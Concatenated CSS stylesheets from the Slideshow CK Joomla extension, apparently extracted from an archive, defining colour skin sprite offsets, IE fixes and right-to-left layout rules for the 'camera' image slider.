.camera_brown_skin .camera_commands > .camera_play {
	background-position: -80px -320px;
}
.camera_brown_skin .camera_commands > .camera_stop {
	background-position: -120px -320px;
}
/*BURGUNDY SKIN*/
.camera_burgundy_skin .camera_prevThumbs div {
	background-position: -160px -360px;
}
.camera_burgundy_skin .camera_nextThumbs div {
	background-position: -190px -360px;
}
.camera_burgundy_skin .camera_prev > span {
	background-position: 0 -360px;
}
.camera_burgundy_skin .camera_next > span {
	background-position: -40px -360px;
}
.camera_burgundy_skin .camera_commands > .camera_play {
	background-position: -80px -360px;
}
.camera_burgundy_skin .camera_commands > .camera_stop {
	background-position: -120px -360px;
}
/*CHARCOAL SKIN*/
.camera_charcoal_skin .camera_prevThumbs div {
	background-position: -160px -400px;
}
.camera_charcoal_skin .camera_nextThumbs div {
	background-position: -190px -400px;
}
.camera_charcoal_skin .camera_prev > span {
	background-position: 0 -400px;
}
.camera_charcoal_skin .camera_next > span {
	background-position: -40px -400px;
}
.camera_charcoal_skin .camera_commands > .camera_play {
	background-position: -80px -400px;
}
.camera_charcoal_skin .camera_commands > .camera_stop {
	background-position: -120px -400px;
}
/*CHOCOLATE SKIN*/
.camera_chocolate_skin .camera_prevThumbs div {
	background-position: -160px -440px;
}
.camera_chocolate_skin .camera_nextThumbs div {
	background-position: -190px -440px;
}
.camera_chocolate_skin .camera_prev > span {
	background-position: 0 -440px;
}
.camera_chocolate_skin .camera_next > span {
	background-position: -40px -440px;
}
.camera_chocolate_skin .camera_commands > .camera_play {
	background-position: -80px -440px;
}
.camera_chocolate_skin .camera_commands > .camera_stop {
	background-position: -120px -440px	;
}
/*COFFEE SKIN*/
.camera_coffee_skin .camera_prevThumbs div {
	background-position: -160px -480px;
}
.camera_coffee_skin .camera_nextThumbs div {
	background-position: -190px -480px;
}
.camera_coffee_skin .camera_prev > span {
	background-position: 0 -480px;
}
.camera_coffee_skin .camera_next > span {
	background-position: -40px -480px;
}
.camera_coffee_skin .camera_commands > .camera_play {
	background-position: -80px -480px;
}
.camera_coffee_skin .camera_commands > .camera_stop {
	background-position: -120px -480px	;
}
/*CYAN SKIN*/
.camera_cyan_skin .camera_prevThumbs div {
	background-position: -160px -520px;
}
.camera_cyan_skin .camera_nextThumbs div {
	background-position: -190px -520px;
}
.camera_cyan_skin .camera_prev > span {
	background-position: 0 -520px;
}
.camera_cyan_skin .camera_next > span {
	background-position: -40px -520px;
}
.camera_cyan_skin .camera_commands > .camera_play {
	background-position: -80px -520px;
}
.camera_cyan_skin .camera_commands > .camera_stop {
	background-position: -120px -520px	;
}
/*FUCHSIA SKIN*/
.camera_fuchsia_skin .camera_prevThumbs div {
	background-position: -160px -560px;
}
.camera_fuchsia_skin .camera_nextThumbs div {
	background-position: -190px -560px;
}
.camera_fuchsia_skin .camera_prev > span {
	background-position: 0 -560px;
}
.camera_fuchsia_skin .camera_next > span {
	background-position: -40px -560px;
}
.camera_fuchsia_skin .camera_commands > .camera_play {
	background-position: -80px -560px;
}
.camera_fuchsia_skin .camera_commands > .camera_stop {
	background-position: -120px -560px	;
}
/*GOLD SKIN*/
.camera_gold_skin .camera_prevThumbs div {
	background-position: -160px -600px;
}
.camera_gold_skin .camera_nextThumbs div {
	background-position: -190px -600px;
}
.camera_gold_skin .camera_prev > span {
	background-position: 0 -600px;
}
.camera_gold_skin .camera_next > span {
	background-position: -40px -600px;
}
.camera_gold_skin .camera_commands > .camera_play {
	background-position: -80px -600px;
}
.camera_gold_skin .camera_commands > .camera_stop {
	background-position: -120px -600px	;
}
/*GREEN SKIN*/
.camera_green_skin .camera_prevThumbs div {
	background-position: -160px -640px;
}
.camera_green_skin .camera_nextThumbs div {
	background-position: -190px -640px;
}
.camera_green_skin .camera_prev > span {
	background-position: 0 -640px;
}
.camera_green_skin .camera_next > span {
	background-position: -40px -640px;
}
.camera_green_skin .camera_commands > .camera_play {
	background-position: -80px -640px;
}
.camera_green_skin .camera_commands > .camera_stop {
	background-position: -120px -640px	;
}
/*GREY SKIN*/
.camera_grey_skin .camera_prevThumbs div {
	background-position: -160px -680px;
}
.camera_grey_skin .camera_nextThumbs div {
	background-position: -190px -680px;
}
.camera_grey_skin .camera_prev > span {
	background-position: 0 -680px;
}
.camera_grey_skin .camera_next > span {
	background-position: -40px -680px;
}
.camera_grey_skin .camera_commands > .camera_play {
	background-position: -80px -680px;
}
.camera_grey_skin .camera_commands > .camera_stop {
	background-position: -120px -680px	;
}
/*INDIGO SKIN*/
.camera_indigo_skin .camera_prevThumbs div {
	background-position: -160px -720px;
}
.camera_indigo_skin .camera_nextThumbs div {
	background-position: -190px -720px;
}
.camera_indigo_skin .camera_prev > span {
	background-position: 0 -720px;
}
.camera_indigo_skin .camera_next > span {
	background-position: -40px -720px;
}
.camera_indigo_skin .camera_commands > .camera_play {
	background-position: -80px -720px;
}
.camera_indigo_skin .camera_commands > .camera_stop {
	background-position: -120px -720px	;
}
/*KHAKI SKIN*/
.camera_khaki_skin .camera_prevThumbs div {
	background-position: -160px -760px;
}
.camera_khaki_skin .camera_nextThumbs div {
	background-position: -190px -760px;
}
.camera_khaki_skin .camera_prev > span {
	background-position: 0 -760px;
}
.camera_khaki_skin .camera_next > span {
	background-position: -40px -760px;
}
.camera_khaki_skin .camera_commands > .camera_play {
	background-position: -80px -760px;
}
.camera_khaki_skin .camera_commands > .camera_stop {
	background-position: -120px -760px	;
}
/*LIME SKIN*/
.camera_lime_skin .camera_prevThumbs div {
	background-position: -160px -800px;
}
.camera_lime_skin .camera_nextThumbs div {
	background-position: -190px -800px;
}
.camera_lime_skin .camera_prev > span {
	background-position: 0 -800px;
}
.camera_lime_skin .camera_next > span {
	background-position: -40px -800px;
}
.camera_lime_skin .camera_commands > .camera_play {
	background-position: -80px -800px;
}
.camera_lime_skin .camera_commands > .camera_stop {
	background-position: -120px -800px	;
}
/*MAGENTA SKIN*/
.camera_magenta_skin .camera_prevThumbs div {
	background-position: -160px -840px;
}
.camera_magenta_skin .camera_nextThumbs div {
	background-position: -190px -840px;
}
.camera_magenta_skin .camera_prev > span {
	background-position: 0 -840px;
}
.camera_magenta_skin .camera_next > span {
	background-position: -40px -840px;
}
.camera_magenta_skin .camera_commands > .camera_play {
	background-position: -80px -840px;
}
.camera_magenta_skin .camera_commands > .camera_stop {
	background-position: -120px -840px	;
}
/*MAROON SKIN*/
.camera_maroon_skin .camera_prevThumbs div {
	background-position: -160px -880px;
}
.camera_maroon_skin .camera_nextThumbs div {
	background-position: -190px -880px;
}
.camera_maroon_skin .camera_prev > span {
	background-position: 0 -880px;
}
.camera_maroon_skin .camera_next > span {
	background-position: -40px -880px;
}
.camera_maroon_skin .camera_commands > .camera_play {
	background-position: -80px -880px;
}
.camera_maroon_skin .camera_commands > .camera_stop {
	background-position: -120px -880px	;
}
/*ORANGE SKIN*/
.camera_orange_skin .camera_prevThumbs div {
	background-position: -160px -920px;
}
.camera_orange_skin .camera_nextThumbs div {
	background-position: -190px -920px;
}
.camera_orange_skin .camera_prev > span {
	background-position: 0 -920px;
}
.camera_orange_skin .camera_next > span {
	background-position: -40px -920px;
}
.camera_orange_skin .camera_commands > .camera_play {
	background-position: -80px -920px;
}
.camera_orange_skin .camera_commands > .camera_stop {
	background-position: -120px -920px	;
}
/*OLIVE SKIN*/
.camera_olive_skin .camera_prevThumbs div {
	background-position: -160px -1080px;
}
.camera_olive_skin .camera_nextThumbs div {
	background-position: -190px -1080px;
}
.camera_olive_skin .camera_prev > span {
	background-position: 0 -1080px;
}
.camera_olive_skin .camera_next > span {
	background-position: -40px -1080px;
}
.camera_olive_skin .camera_commands > .camera_play {
	background-position: -80px -1080px;
}
.camera_olive_skin .camera_commands > .camera_stop {
	background-position: -120px -1080px	;
}
/*PINK SKIN*/
.camera_pink_skin .camera_prevThumbs div {
	background-position: -160px -960px;
}
.camera_pink_skin .camera_nextThumbs div {
	background-position: -190px -960px;
}
.camera_pink_skin .camera_prev > span {
	background-position: 0 -960px;
}
.camera_pink_skin .camera_next > span {
	background-position: -40px -960px;
}
.camera_pink_skin .camera_commands > .camera_play {
	background-position: -80px -960px;
}
.camera_pink_skin .camera_commands > .camera_stop {
	background-position: -120px -960px	;
}
/*PISTACHIO SKIN*/
.camera_pistachio_skin .camera_prevThumbs div {
	background-position: -160px -1040px;
}
.camera_pistachio_skin .camera_nextThumbs div {
	background-position: -190px -1040px;
}
.camera_pistachio_skin .camera_prev > span {
	background-position: 0 -1040px;
}
.camera_pistachio_skin .camera_next > span {
	background-position: -40px -1040px;
}
.camera_pistachio_skin .camera_commands > .camera_play {
	background-position: -80px -1040px;
}
.camera_pistachio_skin .camera_commands > .camera_stop {
	background-position: -120px -1040px	;
}
/*PINK SKIN*/
.camera_pink_skin .camera_prevThumbs div {
	background-position: -160px -80px;
}
.camera_pink_skin .camera_nextThumbs div {
	background-position: -190px -80px;
}
.camera_pink_skin .camera_prev > span {
	background-position: 0 -80px;
}
.camera_pink_skin .camera_next > span {
	background-position: -40px -80px;
}
.camera_pink_skin .camera_commands > .camera_play {
	background-position: -80px -80px;
}
.camera_pink_skin .camera_commands > .camera_stop {
	background-position: -120px -80px;
}
/*RED SKIN*/
.camera_red_skin .camera_prevThumbs div {
	background-position: -160px -1000px;
}
.camera_red_skin .camera_nextThumbs div {
	background-position: -190px -1000px;
}
.camera_red_skin .camera_prev > span {
	background-position: 0 -1000px;
}
.camera_red_skin .camera_next > span {
	background-position: -40px -1000px;
}
.camera_red_skin .camera_commands > .camera_play {
	background-position: -80px -1000px;
}
.camera_red_skin .camera_commands > .camera_stop {
	background-position: -120px -1000px	;
}
/*TANGERINE SKIN*/
.camera_tangerine_skin .camera_prevThumbs div {
	background-position: -160px -1120px;
}
.camera_tangerine_skin .camera_nextThumbs div {
	background-position: -190px -1120px;
}
.camera_tangerine_skin .camera_prev > span {
	background-position: 0 -1120px;
}
.camera_tangerine_skin .camera_next > span {
	background-position: -40px -1120px;
}
.camera_tangerine_skin .camera_commands > .camera_play {
	background-position: -80px -1120px;
}
.camera_tangerine_skin .camera_commands > .camera_stop {
	background-position: -120px -1120px	;
}
/*TURQUOISE SKIN*/
.camera_turquoise_skin .camera_prevThumbs div {
	background-position: -160px -1160px;
}
.camera_turquoise_skin .camera_nextThumbs div {
	background-position: -190px -1160px;
}
.camera_turquoise_skin .camera_prev > span {
	background-position: 0 -1160px;
}
.camera_turquoise_skin .camera_next > span {
	background-position: -40px -1160px;
}
.camera_turquoise_skin .camera_commands > .camera_play {
	background-position: -80px -1160px;
}
.camera_turquoise_skin .camera_commands > .camera_stop {
	background-position: -120px -1160px	;
}
/*VIOLET SKIN*/
.camera_violet_skin .camera_prevThumbs div {
	background-position: -160px -1200px;
}
.camera_violet_skin .camera_nextThumbs div {
	background-position: -190px -1200px;
}
.camera_violet_skin .camera_prev > span {
	background-position: 0 -1200px;
}
.camera_violet_skin .camera_next > span {
	background-position: -40px -1200px;
}
.camera_violet_skin .camera_commands > .camera_play {
	background-position: -80px -1200px;
}
.camera_violet_skin .camera_commands > .camera_stop {
	background-position: -120px -1200px	;
}
/*WHITE SKIN*/
.camera_white_skin .camera_prevThumbs div {
	background-position: -160px -80px;
}
.camera_white_skin .camera_nextThumbs div {
	background-position: -190px -80px;
}
.camera_white_skin .camera_prev > span {
	background-position: 0 -80px;
}
.camera_white_skin .camera_next > span {
	background-position: -40px -80px;
}
.camera_white_skin .camera_commands > .camera_play {
	background-position: -80px -80px;
}
.camera_white_skin .camera_commands > .camera_stop {
	background-position: -120px -80px;
}
/*YELLOW SKIN*/
.camera_yellow_skin .camera_prevThumbs div {
	background-position: -160px -1240px;
}
.camera_yellow_skin .camera_nextThumbs div {
	background-position: -190px -1240px;
}
.camera_yellow_skin .camera_prev > span {
	background-position: 0 -1240px;
}
.camera_yellow_skin .camera_next > span {
	background-position: -40px -1240px;
}
.camera_yellow_skin .camera_commands > .camera_play {
	background-position: -80px -1240px;
}
.camera_yellow_skin .camera_commands > .camera_stop {
	background-position: -120px -1240px	;
}


.camera_thumbs_cont .cameraContent {
	display: block;
	pointer-events: none;
	opacity: 1;
	transition: 0.2s;
}

.camera_thumbs_cont .camera_caption_title {
	font-weight: normal;
	font-size: 0.8em;
}

.camera_thumbs_cont ul li {
	position: relative;
}

.camera_thumbs_cont ul li:hover .cameraContent {
	opacity: 0;
}

.camera_thumbs_cont .camera_caption > div {
	background: rgba(0, 0, 0, 0.5);
}

ul.camera_pag_ul {
	overflow: visible;
}com_slideshowck/extensions/mod_slideshowck/themes/default/css/camera_ie.css000060400000001054152455305260023421 0ustar00/* IE specific css for Slideshow CK */
.camera_wrap:after {
	background: none;
}

.camera_wrap .camera_pag .camera_pag_ul li {
    float:left !important;
}

div.camera_thumbs_cont {
	background: transparent;
}


.camera_caption {
	bottom: 10px;
	display: block;
	position: relative !important;
	/*width: 100%;*/
}
.camera_caption > div {
	padding: 10px 20px;
}

.camera_caption {
	color: #fff;
	margin-bottom: 35px;
}
.camera_caption > div {
	background: #000;
	background: rgba(0,0,0, 0.7);
	border-radius: 0 5px 5px 0;
	-moz-border-radius: 0 5px 5px 0;
}com_slideshowck/extensions/mod_slideshowck/themes/default/css/camera_rtl.css000060400000062372152455305260023637 0ustar00/*** compatibilite beez en position-12 ***/
#top {overflow: visible !important; }


/**************************
*
*	GENERAL
*
**************************/
.camera_wrap a.camera-link,.camera_wrap a.camera-link:hover {
	background: url(../images/blank.gif) !important;
}

.camera_wrap a.camera-button {
	display: inline-block;
}

.camera_wrap a,.camera_wrap a:hover, .camera_wrap img,
.camera_wrap ol, .camera_wrap ul, .camera_wrap li,
.camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td
.camera_thumbs_wrap a, .camera_thumbs_wrap img,
.camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,
.camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {
	background: none;
	border: 0;
	font: inherit;
	font-size: 100%;
	margin: 0;
	padding: 0;
	vertical-align: baseline;
	list-style: none
}
.camera_wrap {
	display: none;
	/*float: left;*/
	position: relative;
	z-index: 0;
	max-width: 100%;
}
.camera_wrap img {
	max-width: none!important;
}
.camera_fakehover {
	height: 100%;
	min-height: 60px;
	position: relative;
	width: 100%;
	z-index: 1;
}
.camera_wrap {
	/*width: 100%;*/
}
.camera_src {
	display: none;
}
.cameraCont, .cameraContents {
	height: 100%;
	position: relative;
	width: 100%;
	z-index: 1;
}
.cameraSlide {
	bottom: 0;
	left: 0;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
}
.cameraContent {
	bottom: 0;
	display: none;
	left: 0;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
}
.camera_target {
	bottom: 0;
	height: 100%;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	text-align: right;
	top: 0;
	width: 100%;
	z-index: 0;
}
.camera_overlayer {
	bottom: 0;
	height: 100%;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	width: 100%;
	z-index: 0;
}
.camera_target_content {
	bottom: 0;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	z-index: 2;
}
.camera_target_content .camera_link {
	display: block;
	height: 100%;
	text-decoration: none;
        background: url(../images/blank.gif) !important;
}
.camera_loader {
    background: #fff url(../images/camera-loader.gif) no-repeat center;
	background: rgba(255, 255, 255, 0.9) url(../images/camera-loader.gif) no-repeat center;
	border: 1px solid #ffffff;
	-webkit-border-radius: 18px;
	-moz-border-radius: 18px;
	border-radius: 18px;
	height: 36px;
	left: 50%;
	overflow: hidden;
	position: absolute;
	margin: -18px 0 0 -18px;
	top: 50%;
	width: 36px;
	z-index: 3;
}
.camera_bar {
	bottom: 0;
	left: 0;
	overflow: hidden;
	position: absolute;
	right: 0;
	top: 0;
	z-index: 3;
}
.camera_thumbs_wrap.camera_left .camera_bar, .camera_thumbs_wrap.camera_right .camera_bar {
	height: 100%;
	position: absolute;
	width: auto;
}
.camera_thumbs_wrap.camera_bottom .camera_bar, .camera_thumbs_wrap.camera_top .camera_bar {
	height: auto;
	position: absolute;
	width: 100%;
}
.camera_nav_cont {
	height: 65px;
	overflow: hidden;
	position: absolute;
	right: 9px;
	top: 15px;
	width: 120px;
	z-index: 4;
}
.camera_caption {
	bottom: 0;
	display: block;
	position: absolute;
	width: 100%;
        z-index: 1000;
}
.camera_caption > div {
	padding: 10px 20px;
	height:100%;
}
.camera_caption_title {
	font-size: 1.3em;
	font-weight: bold;
	line-height: 1em;
}
.camerarelative {
	overflow: hidden;
	position: relative;
}
.imgFake {
	cursor: pointer;
}
.camera_prevThumbs {
	bottom: 4px;
	cursor: pointer;
	left: 0;
	position: absolute;
	top: 4px;
	/*visibility: hidden;*/
	width: 30px;
	z-index: 10;
}
.camera_prevThumbs div {
	background: url(../images/camera_skins.png) no-repeat -160px 0;
	display: block;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 30px;
}
.camera_nextThumbs {
	bottom: 4px;
	cursor: pointer;
	position: absolute;
	right: 0;
	top: 4px;
	visibility: hidden;
	width: 30px;
	z-index: 10;
}
.camera_nextThumbs div {
	background: url(../images/camera_skins.png) no-repeat -190px 0;
	display: block;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 30px;
}
.camera_command_wrap .hideNav {
	display: none;
}
.camera_command_wrap {
	left: 0;
	position: relative;
	right:0;
	z-index: 4;
}
.camera_wrap .camera_pag .camera_pag_ul {
	list-style: none;
	margin: 0;
	padding: 0;
	text-align: right;
        height: auto !important;
        height: 28px;
}
.camera_wrap .camera_pag .camera_pag_ul li {
	-webkit-border-radius: 8px;
	-moz-border-radius: 8px;
	border-radius: 8px;
	cursor: pointer;
	display: inline-block;
        float: none !important;
        float:left;/*overflow:hidden;*/
	height: 16px;
	margin: 20px 5px;
	position: relative;
	/*text-align: left;*/
	text-indent: 9999px;
	width: 16px;
	overflow: visible !important;
	padding: 0;
}

.camera_commands_emboss .camera_pag .camera_pag_ul li {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_wrap .camera_pag .camera_pag_ul li > span {
	-webkit-border-radius: 5px;
	-moz-border-radius: 5px;
	border-radius: 5px;
	height: 8px;
	left: 4px;
	overflow: hidden;
	position: absolute;
	top: 4px;
	width: 8px;
}
.camera_commands_emboss .camera_pag .camera_pag_ul li:hover > span {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span {
	-moz-box-shadow: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}
.camera_pag_ul li img {
	display: none;
	position: absolute;
	box-sizing: border-box;
}
.camera_pag_ul .thumb_arrow {
    border-left: 4px solid transparent;
    border-right: 4px solid transparent;
    border-top: 4px solid;
	top: 0;
	left: 50%;
	margin-left: -4px;
	position: absolute;
}
.camera_prev, .camera_next, .camera_commands {
	cursor: pointer;
	height: 40px;
	margin-top: -20px;
	position: absolute;
	top: 50%;
	width: 40px;
	z-index: 2;
}
.camera_prev {
	left: 0;
}
.camera_prev > span {
	background: url(../images/camera_skins.png) no-repeat 0 0;
	display: block;
	height: 40px;
	width: 40px;
}
.camera_next {
	right: 0;
}
.camera_next > span {
	background: url(../images/camera_skins.png) no-repeat -40px 0;
	display: block;
	height: 40px;
	width: 40px;
}
.camera_commands {
	right: 41px;
}
.camera_commands > .camera_play {
	background: url(../images/camera_skins.png) no-repeat -80px 0;
	height: 40px;
	width: 40px;
}
.camera_commands > .camera_stop {
	background: url(../images/camera_skins.png) no-repeat -120px 0;
	display: block;
	height: 40px;
	width: 40px;
}

.camera_thumbs_cont {
	-webkit-border-bottom-right-radius: 4px;
	-webkit-border-bottom-left-radius: 4px;
	-moz-border-radius-bottomright: 4px;
	-moz-border-radius-bottomleft: 4px;
	border-bottom-right-radius: 4px;
	border-bottom-left-radius: 4px;
	overflow: hidden;
	position: relative;
	width: 100%;
}
.camera_commands_emboss .camera_thumbs_cont {
	-moz-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	-webkit-box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
	box-shadow:
		0px 1px 0px rgba(255,255,255,1),
		inset 0px 1px 1px rgba(0,0,0,0.2);
}
.camera_thumbs_cont > div {
	float: left;
	width: 100%;
}
.camera_thumbs_cont ul {
	overflow: hidden;
	padding: 3px 4px 8px;
	position: relative;
	text-align: center;
}
.camera_thumbs_cont ul li {
	display: inline;
	padding: 0 4px;
}
.camera_thumbs_cont ul li > img {
	border: 1px solid #000;
	cursor: pointer;
	margin-top: 5px;
	vertical-align:bottom;
}
.camera_clear {
	display: block;
	clear: both;
}
.showIt {
	display: none;
}
.camera_clear {
	clear: both;
	display: block;
	height: 1px;
	margin: -1px 0 25px;
	position: relative;
}

.camera_caption {
	color: #fff;
}
.camera_caption > div {
	background: #000;
	background: rgba(0, 0, 0, 0.8);
}
.camera_wrap .camera_pag .camera_pag_ul li {
	background: #b7b7b7;
}
.camera_wrap .camera_pag .camera_pag_ul li:hover > span {
	background: #b7b7b7;
}
.camera_wrap .camera_pag .camera_pag_ul li.cameracurrent > span {
	background: #434648;
}
.camera_pag_ul li img {
	border: 4px solid #e6e6e6;
	-moz-box-shadow: 0px 3px 6px rgba(0,0,0,.5);
	-webkit-box-shadow: 0px 3px 6px rgba(0,0,0,.5);
	box-shadow: 0px 3px 6px rgba(0,0,0,.5);
}
.camera_pag_ul .thumb_arrow {
    border-top-color: #e6e6e6;
}
.camera_prevThumbs, .camera_nextThumbs, .camera_prev, .camera_next, .camera_commands, .camera_thumbs_cont {
	background: #d8d8d8;
	background: rgba(216, 216, 216, 0.85);
}
.camera_wrap .camera_pag .camera_pag_ul li {
	background: #b7b7b7;
}
.camera_thumbs_cont ul li > img {
	border-color: 1px solid #000;
}
/*AMBER SKIN*/
.camera_amber_skin .camera_prevThumbs div {
	background-position: -160px -160px;
}
.camera_amber_skin .camera_nextThumbs div {
	background-position: -190px -160px;
}
.camera_amber_skin .camera_prev > span {
	background-position: 0 -160px;
}
.camera_amber_skin .camera_next > span {
	background-position: -40px -160px;
}
.camera_amber_skin .camera_commands > .camera_play {
	background-position: -80px -160px;
}
.camera_amber_skin .camera_commands > .camera_stop {
	background-position: -120px -160px;
}
/*ASH SKIN*/
.camera_ash_skin .camera_prevThumbs div {
	background-position: -160px -200px;
}
.camera_ash_skin .camera_nextThumbs div {
	background-position: -190px -200px;
}
.camera_ash_skin .camera_prev > span {
	background-position: 0 -200px;
}
.camera_ash_skin .camera_next > span {
	background-position: -40px -200px;
}
.camera_ash_skin .camera_commands > .camera_play {
	background-position: -80px -200px;
}
.camera_ash_skin .camera_commands > .camera_stop {
	background-position: -120px -200px;
}
/*AZURE SKIN*/
.camera_azure_skin .camera_prevThumbs div {
	background-position: -160px -240px;
}
.camera_azure_skin .camera_nextThumbs div {
	background-position: -190px -240px;
}
.camera_azure_skin .camera_prev > span {
	background-position: 0 -240px;
}
.camera_azure_skin .camera_next > span {
	background-position: -40px -240px;
}
.camera_azure_skin .camera_commands > .camera_play {
	background-position: -80px -240px;
}
.camera_azure_skin .camera_commands > .camera_stop {
	background-position: -120px -240px;
}
/*BEIGE SKIN*/
.camera_beige_skin .camera_prevThumbs div {
	background-position: -160px -120px;
}
.camera_beige_skin .camera_nextThumbs div {
	background-position: -190px -120px;
}
.camera_beige_skin .camera_prev > span {
	background-position: 0 -120px;
}
.camera_beige_skin .camera_next > span {
	background-position: -40px -120px;
}
.camera_beige_skin .camera_commands > .camera_play {
	background-position: -80px -120px;
}
.camera_beige_skin .camera_commands > .camera_stop {
	background-position: -120px -120px;
}
/*BLACK SKIN*/
.camera_black_skin .camera_prevThumbs div {
	background-position: -160px -40px;
}
.camera_black_skin .camera_nextThumbs div {
	background-position: -190px -40px;
}
.camera_black_skin .camera_prev > span {
	background-position: 0 -40px;
}
.camera_black_skin .camera_next > span {
	background-position: -40px -40px;
}
.camera_black_skin .camera_commands > .camera_play {
	background-position: -80px -40px;
}
.camera_black_skin .camera_commands > .camera_stop {
	background-position: -120px -40px;
}
/*BLUE SKIN*/
.camera_blue_skin .camera_prevThumbs div {
	background-position: -160px -280px;
}
.camera_blue_skin .camera_nextThumbs div {
	background-position: -190px -280px;
}
.camera_blue_skin .camera_prev > span {
	background-position: 0 -280px;
}
.camera_blue_skin .camera_next > span {
	background-position: -40px -280px;
}
.camera_blue_skin .camera_commands > .camera_play {
	background-position: -80px -280px;
}
.camera_blue_skin .camera_commands > .camera_stop {
	background-position: -120px -280px;
}
/*BROWN SKIN*/
.camera_brown_skin .camera_prevThumbs div {
	background-position: -160px -320px;
}
.camera_brown_skin .camera_nextThumbs div {
	background-position: -190px -320px;
}
.camera_brown_skin .camera_prev > span {
	background-position: 0 -320px;
}
.camera_brown_skin .camera_next > span {
	background-position: -40px -320px;
}
.camera_brown_skin .camera_commands > .camera_play {
	background-position: -80px -320px;
}
.camera_brown_skin .camera_commands > .camera_stop {
	background-position: -120px -320px;
}
/*BURGUNDY SKIN*/
.camera_burgundy_skin .camera_prevThumbs div {
	background-position: -160px -360px;
}
.camera_burgundy_skin .camera_nextThumbs div {
	background-position: -190px -360px;
}
.camera_burgundy_skin .camera_prev > span {
	background-position: 0 -360px;
}
.camera_burgundy_skin .camera_next > span {
	background-position: -40px -360px;
}
.camera_burgundy_skin .camera_commands > .camera_play {
	background-position: -80px -360px;
}
.camera_burgundy_skin .camera_commands > .camera_stop {
	background-position: -120px -360px;
}
/*CHARCOAL SKIN*/
.camera_charcoal_skin .camera_prevThumbs div {
	background-position: -160px -400px;
}
.camera_charcoal_skin .camera_nextThumbs div {
	background-position: -190px -400px;
}
.camera_charcoal_skin .camera_prev > span {
	background-position: 0 -400px;
}
.camera_charcoal_skin .camera_next > span {
	background-position: -40px -400px;
}
.camera_charcoal_skin .camera_commands > .camera_play {
	background-position: -80px -400px;
}
.camera_charcoal_skin .camera_commands > .camera_stop {
	background-position: -120px -400px;
}
/*CHOCOLATE SKIN*/
.camera_chocolate_skin .camera_prevThumbs div {
	background-position: -160px -440px;
}
.camera_chocolate_skin .camera_nextThumbs div {
	background-position: -190px -440px;
}
.camera_chocolate_skin .camera_prev > span {
	background-position: 0 -440px;
}
.camera_chocolate_skin .camera_next > span {
	background-position: -40px -440px;
}
.camera_chocolate_skin .camera_commands > .camera_play {
	background-position: -80px -440px;
}
.camera_chocolate_skin .camera_commands > .camera_stop {
	background-position: -120px -440px	;
}
/*COFFEE SKIN*/
.camera_coffee_skin .camera_prevThumbs div {
	background-position: -160px -480px;
}
.camera_coffee_skin .camera_nextThumbs div {
	background-position: -190px -480px;
}
.camera_coffee_skin .camera_prev > span {
	background-position: 0 -480px;
}
.camera_coffee_skin .camera_next > span {
	background-position: -40px -480px;
}
.camera_coffee_skin .camera_commands > .camera_play {
	background-position: -80px -480px;
}
.camera_coffee_skin .camera_commands > .camera_stop {
	background-position: -120px -480px	;
}
/*CYAN SKIN*/
.camera_cyan_skin .camera_prevThumbs div {
	background-position: -160px -520px;
}
.camera_cyan_skin .camera_nextThumbs div {
	background-position: -190px -520px;
}
.camera_cyan_skin .camera_prev > span {
	background-position: 0 -520px;
}
.camera_cyan_skin .camera_next > span {
	background-position: -40px -520px;
}
.camera_cyan_skin .camera_commands > .camera_play {
	background-position: -80px -520px;
}
.camera_cyan_skin .camera_commands > .camera_stop {
	background-position: -120px -520px	;
}
/*FUCHSIA SKIN*/
.camera_fuchsia_skin .camera_prevThumbs div {
	background-position: -160px -560px;
}
.camera_fuchsia_skin .camera_nextThumbs div {
	background-position: -190px -560px;
}
.camera_fuchsia_skin .camera_prev > span {
	background-position: 0 -560px;
}
.camera_fuchsia_skin .camera_next > span {
	background-position: -40px -560px;
}
.camera_fuchsia_skin .camera_commands > .camera_play {
	background-position: -80px -560px;
}
.camera_fuchsia_skin .camera_commands > .camera_stop {
	background-position: -120px -560px	;
}
/*GOLD SKIN*/
.camera_gold_skin .camera_prevThumbs div {
	background-position: -160px -600px;
}
.camera_gold_skin .camera_nextThumbs div {
	background-position: -190px -600px;
}
.camera_gold_skin .camera_prev > span {
	background-position: 0 -600px;
}
.camera_gold_skin .camera_next > span {
	background-position: -40px -600px;
}
.camera_gold_skin .camera_commands > .camera_play {
	background-position: -80px -600px;
}
.camera_gold_skin .camera_commands > .camera_stop {
	background-position: -120px -600px	;
}
/*GREEN SKIN*/
.camera_green_skin .camera_prevThumbs div {
	background-position: -160px -640px;
}
.camera_green_skin .camera_nextThumbs div {
	background-position: -190px -640px;
}
.camera_green_skin .camera_prev > span {
	background-position: 0 -640px;
}
.camera_green_skin .camera_next > span {
	background-position: -40px -640px;
}
.camera_green_skin .camera_commands > .camera_play {
	background-position: -80px -640px;
}
.camera_green_skin .camera_commands > .camera_stop {
